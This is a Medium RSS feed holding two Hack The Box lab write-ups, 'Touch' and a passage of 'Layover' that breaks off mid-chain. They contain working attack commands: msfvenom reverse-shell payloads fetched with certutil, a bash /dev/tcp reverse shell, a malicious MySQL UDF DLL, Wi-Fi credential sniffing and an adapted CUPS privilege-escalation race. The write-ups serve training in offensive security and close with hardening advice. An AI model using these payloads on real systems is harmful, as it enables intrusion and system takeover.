<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kavusan Yesuraja on Medium]]></title>
        <description><![CDATA[Stories by Kavusan Yesuraja on Medium]]></description>
        <link>https://medium.com/@kavusan592?source=rss-d3fca7c76f20------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*qrX3teGBlkWIp-tzCne_pg.jpeg</url>
            <title>Stories by Kavusan Yesuraja on Medium</title>
            <link>https://medium.com/@kavusan592?source=rss-d3fca7c76f20------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 23:05:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kavusan592/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTB Touch (Easy) Writeup]]></title>
            <link>https://medium.com/@kavusan592/htb-touch-easy-writeup-3d62ca1f1a7a?source=rss-d3fca7c76f20------2</link>
            <guid isPermaLink="false">https://medium.com/p/3d62ca1f1a7a</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[Kavusan Yesuraja]]></dc:creator>
            <pubDate>Tue, 06 Oct 2026 16:27:47 GMT</pubDate>
            <atom:updated>2026-10-06T16:27:47.399Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Touch is an <strong>Easy</strong> Hack The Box machine from the <strong>HTB Airways</strong> series.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*JPRbk2LxRmzeGl2QlQKs9Q.png" /></figure><p>The machine focuses on web enumeration, predictable/default credentials, credential disclosure through an administrative panel, a Windows kiosk escape, and MySQL privilege escalation through a writable plugin directory.</p><p>The attack path was:</p><pre>Unauthenticated DeviceHub API<br>          ↓<br>Device serial disclosure<br>          ↓<br>DeviceHub login<br>(serial used as default password)<br>          ↓<br>Kiosk staff credentials<br>          ↓<br>RDP as KioskUser<br>          ↓<br>Locked-down kiosk<br>          ↓<br>Disable backend service<br>          ↓<br>Error dialog<br>          ↓<br>Microsoft Edge<br>          ↓<br>file:///C:/Windows/System32/cmd.exe<br>          ↓<br>Command Shell<br>          ↓<br>Reverse Shell as KioskUser<br>          ↓<br>USER FLAG<br>          ↓<br>Plaintext MySQL root password<br>          ↓<br>Writable MySQL plugin directory<br>          ↓<br>Malicious UDF DLL<br>          ↓<br>MySQL running as LocalSystem<br>          ↓<br>SYSTEM<br>          ↓<br>ROOT FLAG</pre><blockquote><strong><em>Note about redacted values:</em></strong><em> Any value shown as </em><em>&lt;redacted&gt; in this write-up has been intentionally removed from the public version. This includes passwords, flags, or other sensitive values obtained during the machine. The redaction does not represent a missing step.</em></blockquote><p>Let’s get started.</p><h3>1. Initial Reconnaissance</h3><p>I started with a standard Nmap scan:</p><pre>sudo nmap -sC -sV -Pn 10.129.46.4 -oN nmap_initial.txt</pre><p>Then performed a full TCP port scan:</p><pre>sudo nmap -p- --min-rate 10000 -Pn 10.129.46.4 -oN nmap_allports.txt</pre><p>The scan revealed:</p><pre>PORT     STATE SERVICE       VERSION<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>3389/tcp open  ms-wbt-server Microsoft Terminal Service<br>5985/tcp open  http          Microsoft HTTPAPI httpd 2.0<br>8443/tcp open  http          Microsoft HTTPAPI httpd 2.0</pre><p>The interesting ports were:</p><ul><li><strong>3389</strong> — RDP</li><li><strong>5985</strong> — WinRM</li><li><strong>8443</strong> — Web application</li></ul><p>Since port 8443 usually suggests HTTPS, I initially tried:</p><pre>https://10.129.46.4:8443/</pre><p>However, the connection failed with:</p><pre>SSL_ERROR_RX_RECORD_TOO_LONG</pre><p>This suggested that the service was not actually speaking TLS.</p><p>I switched to plain HTTP:</p><pre>http://10.129.46.4:8443/</pre><p>This loaded successfully.</p><h3>2. DeviceHub Enumeration</h3><p>The web application was a <strong>Nexion DeviceHub</strong> login panel for a device labelled:</p><pre>DH-100 — Gate B7</pre><p>I enumerated the web application with Feroxbuster:</p><pre>feroxbuster -u http://10.129.46.4:8443/ -k</pre><p>Among the interesting results were:</p><pre>403   GET   /api<br>200   GET   /api/status<br>405   GET   /api/scan</pre><p>The /api/status endpoint was accessible without authentication.</p><p>I queried it directly:</p><pre>curl http://10.129.46.4:8443/api/status</pre><p>The response was:</p><pre>{<br>  &quot;device&quot;: &quot;Nexion DeviceHub DH-100&quot;,<br>  &quot;serial&quot;: &quot;NX-DH-2024-B7042&quot;,<br>  &quot;firmware&quot;: &quot;1.4.2&quot;,<br>  &quot;status&quot;: &quot;online&quot;,<br>  &quot;uptime&quot;: 67184<br>}</pre><p>The important information was:</p><pre>serial: NX-DH-2024-B7042</pre><p>We now had a device serial number without authenticating.</p><p>This became important later.</p><h3>3. Chaining the Previous Layover Machine</h3><p>Touch is part of the <strong>HTB Airways</strong> series and continues from the previous machine, Layover.</p><p>The previous machine provided a passenger name and booking confirmation code.</p><pre>Jenny Crawford / KS7X2M</pre><p>The Touch check-in application was clearly designed to consume this information.</p><p>Therefore, the booking information obtained from Layover was carried forward into the Touch attack path.</p><h3>4. DeviceHub Login</h3><p>The DeviceHub login page contained an important piece of information in its HTML.</p><p>It indicated that the <strong>default password was the device serial number</strong> printed on the device packaging.</p><p>The problem was that the physical packaging was not required.</p><p>We had already obtained the serial number from the unauthenticated:</p><pre>/api/status</pre><p>endpoint.</p><p>The chain was therefore:</p><pre>/api/status<br>      ↓<br>Device serial<br>      ↓<br>Default password<br>      ↓<br>DeviceHub login</pre><p>Using the leaked serial number as the password successfully authenticated to DeviceHub.</p><p>This was effectively a credential derivation issue:</p><blockquote><em>An unauthenticated endpoint disclosed information that was directly usable as the default authentication credential.</em></blockquote><h3>5. Finding the Kiosk Credentials</h3><p>Once authenticated to DeviceHub, the administration panel exposed various device and service information.</p><p>Among the information displayed were:</p><pre>Nexion Systems Ltd. — Service v4.2.1<br>Nexion DocReader SR-4200 — 4.2.1<br>NX-TP-2024-0042 — 2.8.3</pre><p>More importantly, the panel also exposed the credentials used by the airport kiosk.</p><p>The relevant account was:</p><pre>KioskUser</pre><p>The password is intentionally omitted from this public write-up.</p><p>This created another major security issue:</p><pre>DeviceHub admin access<br>        ↓<br>Staff credentials exposed<br>        ↓<br>KioskUser<br>        ↓<br>RDP access</pre><p>An administrative management interface should not expose end-user credentials in plaintext.</p><h3>6. Initial Access — RDP</h3><p>With the KioskUser credentials, I connected to the Windows machine using RDP:</p><pre>xfreerdp3 /u:KioskUser /p:&#39;&lt;redacted&gt;&#39; /v:10.129.46.4 +clipboard /dynamic-resolution</pre><p>The &lt;redacted&gt; value represents the <strong>KioskUser password obtained from the DeviceHub administration panel</strong>.</p><p>It has been intentionally removed from the public write-up.</p><p>The RDP session opened into a heavily restricted kiosk environment.</p><p>There was:</p><ul><li>No normal desktop</li><li>No taskbar</li><li>No Start menu</li><li>No obvious way to launch applications</li></ul><p>A launcher script called:</p><pre>KioskLauncher.bat</pre><p>cycled between the HTB Airways self-check-in application and the Nexion DocReader scanner application.</p><p>The clipboard also appeared to be restricted.</p><p>At first glance, the session looked well locked down.</p><p>However, the restriction was primarily around the kiosk interface rather than the Windows session itself.</p><h3>7. Breaking Out of the Kiosk</h3><p>The kiosk escape relied on the application’s error handling.</p><p>The interesting part was that the DocReader service could be controlled remotely through the DeviceHub administration panel.</p><h3>Step 1 — Disable the backend service</h3><p>From the attacker’s own browser, I logged back into DeviceHub and powered off the:</p><ul><li>DocReader service</li><li>Printer service</li></ul><h3>Step 2 — Trigger the error</h3><p>Inside the RDP kiosk session, I selected:</p><pre>Staff Login</pre><p>The application attempted to communicate with the now-disabled DocReader service.</p><p>Because the service was unavailable, the application generated an error dialog.</p><p>The error dialog contained a support hyperlink.</p><h3>Step 3 — Launch the browser</h3><p>Clicking the support link opened Microsoft Edge.</p><p>This was significant because Edge was an unrestricted application outside the normal kiosk launcher.</p><h3>Step 4 — Abuse file://</h3><p>Inside Edge’s address bar, I entered:</p><pre>file:///C:/Windows/System32/cmd.exe</pre><p>Edge treated the file as a download.</p><p>After clicking <strong>Open</strong>, Windows launched:</p><pre>cmd.exe</pre><p>as KioskUser.</p><p>The kiosk restrictions had now effectively been bypassed.</p><p>The chain was:</p><pre>Kiosk<br> ↓<br>Disable DocReader<br> ↓<br>Trigger application error<br> ↓<br>Support hyperlink<br> ↓<br>Microsoft Edge<br> ↓<br>file://<br> ↓<br>cmd.exe</pre><p>The important lesson here is that the kiosk restrictions did not provide a strong security boundary.</p><p>The application itself provided a path to an unrestricted browser.</p><h3>8. Stabilizing the Shell</h3><p>At this point, I had command execution as KioskUser.</p><p>Because clipboard functionality was restricted and the RDP console was not ideal for further work, I moved to a reverse shell.</p><p>On the attacking machine, I generated a Windows reverse-shell executable:</p><pre>msfvenom -p windows/x64/shell_reverse_tcp \<br>  LHOST=10.10.14.38 \<br>  LPORT=4444 \<br>  -f exe \<br>  -o shell.exe</pre><p>I then hosted it:</p><pre>python3 -m http.server 80</pre><p>And started a listener:</p><pre>nc -lvnp 4444</pre><p>From the escaped command prompt on the target, I downloaded the executable using the built-in Windows certutil utility:</p><pre>certutil -urlcache -split -f http://10.10.14.38/shell.exe C:\Users\KioskUser\Desktop\shell.exe</pre><p>Then executed it:</p><pre>C:\Users\KioskUser\Desktop\shell.exe</pre><p>The reverse shell connected back successfully.</p><p>I now had a stable shell as:</p><pre>KioskUser</pre><h3>9. USER FLAG</h3><p>With the KioskUser shell established, I could access the user&#39;s desktop.</p><p>The user flag was located at:</p><pre>C:\Users\KioskUser\Desktop\user.txt</pre><p>The actual flag value is intentionally omitted from this public write-up.</p><p>At this stage:</p><pre>DeviceHub<br>   ↓<br>Kiosk credentials<br>   ↓<br>RDP<br>   ↓<br>Kiosk escape<br>   ↓<br>cmd.exe<br>   ↓<br>Reverse shell<br>   ↓<br>KioskUser<br>   ↓<br>USER FLAG</pre><p>The next goal was privilege escalation to SYSTEM.</p><h3>10. Windows Privilege Enumeration</h3><p>I started with basic privilege and group enumeration:</p><pre>whoami /groups</pre><p>One interesting membership was:</p><pre>KIOSK-042\Printer Administrators</pre><p>I also checked the available privileges:</p><pre>whoami /priv</pre><p>There were no immediately useful privileges such as:</p><pre>SeLoadDriverPrivilege<br>SeImpersonatePrivilege</pre><p>So token-based privilege escalation was not the obvious path.</p><p>Next, I checked listening services:</p><pre>netstat -ano | findstr LISTENING</pre><p>Two local services stood out:</p><pre>127.0.0.1:3001<br>127.0.0.1:3306</pre><p>Port 3306 indicated that MySQL was running locally.</p><h3>11. Finding the MySQL Installation</h3><p>I checked the permissions on the MySQL installation:</p><pre>icacls &quot;C:\MySQL\bin&quot;</pre><p>The result showed:</p><pre>NT AUTHORITY\Authenticated Users:(I)(M)</pre><p>This meant authenticated users had <strong>Modify</strong> permissions over the MySQL installation directory.</p><p>The MySQL service was running as:</p><pre>NT AUTHORITY\LocalSystem</pre><p>This immediately suggested a potential privilege escalation path.</p><p>However, simply replacing a MySQL executable would not work because the current user could not stop or restart the MySQL service.</p><p>Therefore, I needed a way to make the already-running MySQL service load attacker-controlled code.</p><h3>12. Hunting for MySQL Credentials</h3><p>I first checked the obvious application directories:</p><pre>C:\Program Files\HTB Airways<br>C:\Program Files\Nexion Systems\DocReader</pre><p>I also examined the .NET binaries:</p><pre>HTBAirwaysKiosk.exe<br>NexionDocReader.exe</pre><p>The application binaries did not reveal useful hardcoded credentials.</p><p>The more interesting location was:</p><pre>C:\ProgramData</pre><p>The directory contained:</p><pre>C:\ProgramData\HTB Airways\<br>├── db-config.ini<br>├── db-sync-replica.ps1<br>├── refresh-dates.bat<br>└── refresh-dates.sql</pre><p>Some files were inaccessible, but refresh-dates.bat was readable.</p><h3>13. Finding the MySQL Root Password</h3><p>The scheduled maintenance script contained the MySQL root password directly on the command line:</p><pre>@echo off<br>C:\MySQL\bin\mysql.exe -u root -p&lt;redacted&gt; &lt; &quot;C:\ProgramData\HTB Airways\refresh-dates.sql&quot; 2&gt;nul</pre><p>The &lt;redacted&gt; value represents the <strong>MySQL root password recovered from the scheduled maintenance script</strong>.</p><p>This gave us:</p><pre>MySQL root credentials<br>        +<br>MySQL running as LocalSystem<br>        +<br>Writable plugin directory</pre><p>That combination was enough for privilege escalation.</p><h3>14. Checking the MySQL Plugin Directory</h3><p>I authenticated to MySQL and checked the configured plugin directory:</p><pre>C:\MySQL\bin\mysql.exe -u root -p&quot;&lt;redacted&gt;&quot; -e &quot;SHOW VARIABLES LIKE &#39;plugin_dir&#39;;&quot;</pre><p>The plugin directory was:</p><pre>C:\MySQL\lib\plugin\</pre><p>I then checked its permissions:</p><pre>icacls &quot;C:\MySQL\lib\plugin&quot;</pre><p>The directory was writable by:</p><pre>NT AUTHORITY\Authenticated Users</pre><p>This was the critical misconfiguration.</p><p>The situation was now:</p><pre>KioskUser<br>    ↓<br>MySQL root password<br>    ↓<br>MySQL runs as LocalSystem<br>    ↓<br>Writable plugin directory<br>    ↓<br>Load attacker-controlled DLL<br>    ↓<br>SYSTEM</pre><h3>15. Privilege Escalation — MySQL UDF</h3><p>MySQL supports <strong>User Defined Functions (UDFs)</strong> that can be implemented through DLL files.</p><p>If an attacker can place a malicious DLL into the MySQL plugin directory and has sufficient database privileges to register the function, MySQL can load the DLL.</p><p>Since the MySQL service was running as:</p><pre>NT AUTHORITY\SYSTEM</pre><p>code loaded by the service would execute with SYSTEM privileges.</p><p>I generated a DLL payload:</p><pre>msfvenom -p windows/x64/shell_reverse_tcp \<br>  LHOST=10.10.14.38 \<br>  LPORT=5555 \<br>  -f dll \<br>  -o evil.dll</pre><p>Notice that I used a different port for the SYSTEM shell:</p><pre>4444 → KioskUser shell<br>5555 → SYSTEM shell</pre><p>I then hosted the DLL:</p><pre>python3 -m http.server 80</pre><p>On the target, I downloaded it into the writable MySQL plugin directory:</p><pre>certutil -urlcache -split -f http://10.10.14.38/evil.dll C:\MySQL\lib\plugin\evil.dll</pre><h3>16. Loading the Malicious DLL</h3><p>I started the second listener:</p><pre>nc -lvnp 5555</pre><p>Then registered the malicious DLL as a MySQL function:</p><pre>C:\MySQL\bin\mysql.exe -u root -p&quot;&lt;redacted&gt;&quot; -e &quot;CREATE FUNCTION sys_exec RETURNS INT SONAME &#39;evil.dll&#39;;&quot;</pre><p>The &lt;redacted&gt; value is the same <strong>MySQL root password recovered from </strong><strong>refresh-dates.bat</strong>.</p><p>When MySQL loaded the DLL, the reverse shell connected back.</p><p>The listener received a shell as:</p><pre>NT AUTHORITY\SYSTEM</pre><p>Privilege escalation was complete.</p><h3>17. ROOT FLAG</h3><p>With SYSTEM privileges, I could access the Administrator desktop.</p><p>The root flag was located at:</p><pre>C:\Users\Administrator\Desktop\root.txt</pre><p>The actual flag value is intentionally omitted from this public write-up.</p><p>The final stage was:</p><pre>MySQL root credentials<br>        ↓<br>Writable plugin directory<br>        ↓<br>Malicious UDF DLL<br>        ↓<br>MySQL<br>        ↓<br>LocalSystem<br>        ↓<br>ROOT FLAG</pre><h3>18. Complete Attack Chain</h3><p>Putting everything together:</p><pre>TOUCH<br>                           │<br>                           ▼<br>                 Unauthenticated API<br>                           │<br>                           ▼<br>                    /api/status<br>                           │<br>                           ▼<br>                  Device serial leaked<br>                           │<br>                           ▼<br>                Serial = default password<br>                           │<br>                           ▼<br>                   DeviceHub Admin<br>                           │<br>                           ▼<br>                 KioskUser credentials<br>                           │<br>                           ▼<br>                     RDP Access<br>                           │<br>                           ▼<br>                    Locked-down Kiosk<br>                           │<br>                           ▼<br>             Disable DocReader / Printer<br>                           │<br>                           ▼<br>                    Application Error<br>                           │<br>                           ▼<br>                    Support Link<br>                           │<br>                           ▼<br>                  Microsoft Edge<br>                           │<br>                           ▼<br>            file:///C:/Windows/System32/cmd.exe<br>                           │<br>                           ▼<br>                       cmd.exe<br>                           │<br>                           ▼<br>                   Reverse Shell<br>                           │<br>                           ▼<br>                      KioskUser<br>                           │<br>                           ▼<br>                      USER FLAG<br>                           │<br>                           ▼<br>              Plaintext MySQL Password<br>                           │<br>                           ▼<br>               Writable Plugin Directory<br>                           │<br>                           ▼<br>                  Malicious UDF DLL<br>                           │<br>                           ▼<br>                MySQL → LocalSystem<br>                           │<br>                           ▼<br>                         SYSTEM<br>                           │<br>                           ▼<br>                      ROOT FLAG</pre><h3>Conclusion</h3><p>Touch was a good example of how multiple configuration weaknesses can be chained together without relying on a traditional Windows kernel exploit.</p><p>The initial entry point was an unauthenticated DeviceHub API that exposed the device serial number. Because the serial number was also used as the default DeviceHub password, the leaked information could immediately be converted into authenticated access.</p><p>The DeviceHub administration panel then exposed kiosk credentials, allowing RDP access as KioskUser.</p><p>The kiosk itself appeared restricted, but the application’s error handling provided a path to Microsoft Edge. From there, a file:// request was used to launch cmd.exe, escaping the kiosk environment and allowing a reverse shell to be established.</p><p>For privilege escalation, the key discovery was a plaintext MySQL root password inside a readable scheduled-task script. Combined with a MySQL installation directory writable by authenticated users, a writable plugin directory, and MySQL running as LocalSystem, this allowed a malicious UDF DLL to be loaded and resulted in SYSTEM access.</p><h3>Key Takeaways</h3><ul><li>Never expose sensitive device information through unauthenticated APIs.</li><li>Default passwords should never be derived from publicly enumerable device information.</li><li>Administrative panels should never expose end-user credentials in plaintext.</li><li>Kiosk restrictions are only effective when every application and escape path is properly controlled.</li><li>Error dialogs and support links should be treated as part of the kiosk’s attack surface.</li><li>file:// handling should be restricted in kiosk environments.</li><li>Never store database passwords in plaintext inside world-readable scripts.</li><li>MySQL plugin directories should not be writable by standard users.</li><li>Database services should run under dedicated least-privilege service accounts instead of LocalSystem.</li><li>Writable directories used by privileged services can become direct code-execution paths.</li></ul><p><strong>Thanks for reading. Happy hacking! 🚩</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3d62ca1f1a7a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Layover (Medium)Writeup]]></title>
            <link>https://medium.com/@kavusan592/htb-layover-medium-writeup-a63de9989860?source=rss-d3fca7c76f20------2</link>
            <guid isPermaLink="false">https://medium.com/p/a63de9989860</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[wireless]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Kavusan Yesuraja]]></dc:creator>
            <pubDate>Tue, 06 Oct 2026 16:14:06 GMT</pubDate>
            <atom:updated>2026-10-06T16:14:06.364Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Layover is a Hack The Box machine from the <strong>HTB Airways Season 12</strong> series.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*gGLrkYuPBjD7ChiAz6qETw.png" /></figure><p>The machine combines network pivoting, wireless traffic interception, credential reuse, authenticated web application exploitation, credential decryption, and local privilege escalation.</p><p>The attack chain involves <strong>two CVEs</strong>:</p><ul><li><strong>CVE-2026–44011</strong> — Authenticated Craft CMS RCE</li><li><strong>CVE-2026–34990</strong> — Local CUPS privilege escalation</li></ul><p>The complete attack path was:</p><pre>Contractor RDP<br>      ↓<br>airside-ws01<br>      ↓<br>Open Airport Wi-Fi<br>      ↓<br>Passive credential capture<br>      ↓<br>Craft CMS 5.9.8<br>      ↓<br>CVE-2026-44011<br>      ↓<br>Authenticated RCE<br>      ↓<br>www-data<br>      ↓<br>Craft security key + database credentials<br>      ↓<br>Decrypt service credential<br>      ↓<br>aporter<br>      ↓<br>USER FLAG<br>      ↓<br>CUPS 2.4.16<br>      ↓<br>CVE-2026-34990<br>      ↓<br>Root<br>      ↓<br>ROOT FLAG</pre><blockquote><strong><em>Note about redacted values:</em></strong><em> Any value shown as </em><em>&lt;redacted&gt; in this write-up has been intentionally removed from the public version. This includes sensitive credentials, passwords, authorization tokens, or other secrets that were obtained during the machine.</em></blockquote><p>Let’s get started.</p><h3>1. Initial Reconnaissance</h3><p>I started with a standard Nmap scan:</p><pre>nmap -sC -sV -oA scans/initial 10.129.4.188</pre><p>Then performed a full TCP port scan:</p><pre>sudo nmap -p- --min-rate 1000 -T4 -oA scans/all-tcp 10.129.4.188</pre><p>The targeted enumeration showed two interesting services:</p><pre>22/tcp    open    ssh           OpenSSH 9.6p1 Ubuntu<br>3389/tcp  open    ms-wbt-server Microsoft Terminal Service</pre><p>I also ran additional enumeration against SSH and RDP:</p><pre>sudo nmap -Pn -p22,3389 -sV \<br>  --script &#39;ssh-hostkey,ssh2-enum-algos,rdp-enum-encryption,rdp-ntlm-info&#39; \<br>  -oA scans/targeted 10.129.4.188</pre><p>The supplied contractor credentials did not work over SSH, but they worked over RDP.</p><p>After connecting, I landed on an XFCE Linux workstation named:</p><pre>airside-ws01</pre><p>Interestingly, the contractor account also had unrestricted sudo access on the workstation.</p><h3>2. Finding the Internal Wi-Fi Network</h3><p>Once inside airside-ws01, the attack surface changed completely.</p><p>The workstation had two wireless interfaces. Both could see an open network named:</p><pre>HTB International WiFi</pre><p>One interface was used to connect to the network, while the second was configured for passive monitoring.</p><p>I connected to the Wi-Fi:</p><pre>nmcli device wifi connect &#39;HTB International WiFi&#39; ifname wlan2</pre><p>Then configured the second interface for monitor mode:</p><pre>nmcli device set wlan3 managed no<br>ip link set wlan3 down<br>iw dev wlan3 set type monitor<br>ip link set wlan3 up<br>iw dev wlan3 set channel 6</pre><p>I captured traffic for three minutes:</p><pre>timeout 180 tcpdump -i wlan3 -nn -s0 -w channel6.pcap</pre><p>The connected interface received:</p><pre>10.13.37.182/24</pre><p>Internal DNS also revealed hosts that were not visible from the external scan:</p><pre>wifi.international.htb<br>portal.international.htb<br>10.13.37.10</pre><p>This showed why internal network access was important. The external scan exposed only a small attack surface, while the internal network revealed additional systems and traffic.</p><h3>3. Capturing Cleartext Credentials</h3><p>Next, I analyzed the wireless capture with TShark.</p><p>Since the network was carrying HTTP traffic, I filtered for POST requests:</p><pre>tshark -r channel6.pcap \<br>  -Y &#39;http.request.method == &quot;POST&quot;&#39; \<br>  -T fields \<br>  -e ip.src \<br>  -e http.host \<br>  -e http.request.uri \<br>  -e urlencoded-form.key \<br>  -e urlencoded-form.value</pre><p>The capture contained repeated cleartext form submissions to the Miles login endpoint.</p><p>This exposed a passenger account’s credentials.</p><p>The important part was that these credentials could also be reused against the Craft CMS control panel.</p><p>This moved the attack from passive network monitoring into authenticated application access.</p><h3>4. Craft CMS Enumeration</h3><p>Using the captured credentials, I accessed the Craft CMS control panel.</p><p>The system report revealed:</p><pre>PHP       8.3.6<br>MariaDB   10.11.14<br>Craft     Craft Solo 5.9.8<br>Yii       2.0.54<br>Web root  /var/www/portal<br>Module    htbairways</pre><p>The exact version was important because Craft CMS 5.9.8 falls within the affected range for:</p><h3>CVE-2026–44011</h3><p>This vulnerability allows authenticated remote code execution through a crafted condition submitted to:</p><pre>/admin/actions/element-search/search</pre><p>The request requires a valid authenticated session and CSRF token.</p><p>I first confirmed code execution with a callback.</p><p>Once execution was confirmed, I moved to obtaining a reverse shell.</p><h3>5. Exploiting CVE-2026–44011 — Getting www-data</h3><p>I created a reverse-shell script on the workstation:</p><pre>printf &#39;%s\n&#39; &#39;#!/bin/bash&#39; \<br>  &#39;bash -i &gt;&amp; /dev/tcp/10.13.37.182/4444 0&gt;&amp;1&#39; &gt; /tmp/rs.sh</pre><p>Then hosted the file:</p><pre>python3 -m http.server 8000 --directory /tmp</pre><p>And started a listener:</p><pre>nc -lvnp 4444</pre><p>The callback successfully landed as:</p><pre>www-data</pre><p>The shell was located in:</p><pre>/var/www/portal/web</pre><p>At this point, <strong>CVE-2026–44011 had successfully given me remote code execution as </strong><strong>www-data</strong>.</p><h3>6. Finding the Craft Application Secrets</h3><p>The next step was to look for application configuration files.</p><p>Craft’s .env file exposed:</p><ul><li>Database credentials</li><li>CRAFT_SECURITY_KEY</li></ul><p>The custom htbairways module also stored a mail-relay username and an encrypted password inside MariaDB.</p><p>I queried the database:</p><pre>MYSQL_PWD=&#39;&lt;redacted&gt;&#39; mysql \<br>  -h 127.0.0.1 -u craftuser -D craft -N -B \<br>  -e &#39;SELECT name,value FROM htbairways_settings;&#39;</pre><p>The &lt;redacted&gt; value above represents the <strong>database password obtained from the compromised application&#39;s configuration</strong>.</p><p>The command itself is shown to demonstrate how the credential was used, but the actual secret is not necessary to reproduce the methodology on the HTB machine.</p><p>The application contained both:</p><pre>Encrypted credential<br>        +<br>Encryption key</pre><p>available to the compromised application process.</p><p>Therefore, once www-data had access to the application environment, the encrypted credential could be decrypted.</p><h3>7. Decrypting the Stored Credential</h3><p>Since the Craft vendor directory was readable, I reproduced Craft’s own decryption process using Yii:</p><pre>require &quot;vendor/autoload.php&quot;;</pre><pre>$security = new yii\base\Security();</pre><pre>echo $security-&gt;decryptByKey(<br>    base64_decode($argv[1]),<br>    $argv[2]<br>), PHP_EOL;</pre><p>This recovered the service credential.</p><p>The recovered password was reused by the local:</p><pre>aporter</pre><p>account.</p><p>The credentials worked with both su and SSH.</p><p>I could now obtain a stable shell as aporter.</p><h3>USER FLAG</h3><p>This is where the <strong>user flag</strong> was obtained.</p><p>The important transition was:</p><pre>www-data<br>   ↓<br>Application secrets<br>   ↓<br>Decrypt service credential<br>   ↓<br>aporter<br>   ↓<br>USER FLAG</pre><p>At this point, the initial foothold had been converted into a normal local user account.</p><h3>8. Enumerating for Privilege Escalation</h3><p>The aporter account did not have sudo privileges.</p><p>I also checked the usual SUID and Linux capabilities paths but did not find anything useful.</p><p>CUPS immediately stood out.</p><p>I checked the installed version and configuration:</p><pre>cups-config --version<br>ls -l /run/cups/cups.sock<br>ps -eo user,pid,cmd | grep &#39;[c]upsd&#39;<br>command -v python3 ipptool lp lpstat</pre><p>The results showed:</p><pre>CUPS version  2.4.16<br>Daemon        root /usr/sbin/cupsd -f<br>Socket        srwxrwxrwx root root /run/cups/cups.sock<br>ipptool       /usr/bin/ipptool</pre><p>The CUPS version was particularly interesting.</p><h3>9. Privilege Escalation — CVE-2026–34990</h3><p>The second CVE used on Layover was:</p><h3>CVE-2026–34990</h3><p>CUPS 2.4.16 is affected by this local privilege escalation vulnerability.</p><p>The vulnerability allows a local user to coerce the root-owned CUPS scheduler into authenticating to a loopback IPP listener.</p><p>This exposes a reusable:</p><pre>Authorization: Local</pre><p>token.</p><p>The token can then be used to perform additional local administrative actions.</p><p>Combined with the printer creation functionality and a persistence race involving a file:// queue, this can ultimately result in a root-owned arbitrary file write.</p><p>This was the second major exploitation stage of the machine:</p><pre>aporter<br>   ↓<br>CUPS 2.4.16<br>   ↓<br>CVE-2026-34990<br>   ↓<br>Root</pre><p>I used the official reproducer as the starting point.</p><p>However, the PoC was designed for a clean laboratory environment and expected setup conditions that were not present on the target.</p><p>Therefore, it needed to be adapted.</p><h3>10. Adapting the CUPS PoC</h3><p>The relevant environment variables were:</p><pre>IPPTOOL           /usr/bin/ipptool<br>LPSTAT            /usr/bin/lpstat<br>CREATE_LOCAL_TEST /usr/share/cups/ipptool/cups-create-local-printer.test<br>ATTACKER_USER     aporter<br>PWN_FILE          /etc/sudoers.d/aporter-pwn</pre><p>I removed the environment-reset and user-creation portions because they were unnecessary on the target.</p><p>The token-capture and race workers could then execute directly as aporter.</p><p>There was also an interesting problem with the PoC’s verification logic.</p><p>It attempted to check whether the target file existed using:</p><pre>Path.exists()</pre><p>However, aporter could not traverse /etc/sudoers.d/.</p><p>Therefore, the check itself generated:</p><pre>PermissionError</pre><p>That did not mean the exploit had failed.</p><p>I replaced the existence check with a direct privilege test:</p><pre>root_test = run_as_attacker(<br>    [&quot;sudo&quot;, &quot;-n&quot;, &quot;/bin/sh&quot;, &quot;-c&quot;, &quot;id&quot;],<br>    check=False,<br>)</pre><pre>if root_test.returncode != 0:<br>    continue</pre><p>This made the verification test meaningful for the target environment.</p><h3>11. Winning the Race</h3><p>The exploit successfully captured the local authorization token:</p><pre>*** CAPTURE LOCAL TOKEN ***</pre><pre>Captured Local authorization token: &lt;redacted&gt;</pre><p>This is the <strong>CUPS </strong><strong>Authorization: Local token captured by the exploit</strong>.</p><p>The first two attempts failed:</p><pre>Candidate attempt 1. sudo: a password is required<br>Candidate attempt 2. sudo: a password is required</pre><p>On the third attempt, the race succeeded:</p><pre>Candidate attempt 3. uid=0(root) gid=0(root) groups=0(root)</pre><p>The exploit then reported:</p><pre>Privilege escalation complete.<br>Persisted printer: sudo350972</pre><p>I had successfully obtained root.</p><h3>12. Root Flag</h3><p>After obtaining the root shell, the final flag was located at:</p><pre>/root/root.txt</pre><h3>ROOT FLAG</h3><p>The root flag was therefore obtained <strong>after successfully exploiting CUPS with CVE-2026–34990</strong>.</p><p>The complete final stage was:</p><pre>aporter<br>   ↓<br>CUPS 2.4.16<br>   ↓<br>CVE-2026-34990<br>   ↓<br>uid=0(root)<br>   ↓<br>/root/root.txt</pre><p>The actual flag value is intentionally omitted from the write-up.</p><h3>13. Complete Attack Chain</h3><p>Putting everything together:</p><pre>LAYOVER<br>                       │<br>                       ▼<br>              Contractor RDP<br>                       │<br>                       ▼<br>                 airside-ws01<br>                       │<br>                       ▼<br>             HTB International WiFi<br>                       │<br>                       ▼<br>          Passive HTTP traffic 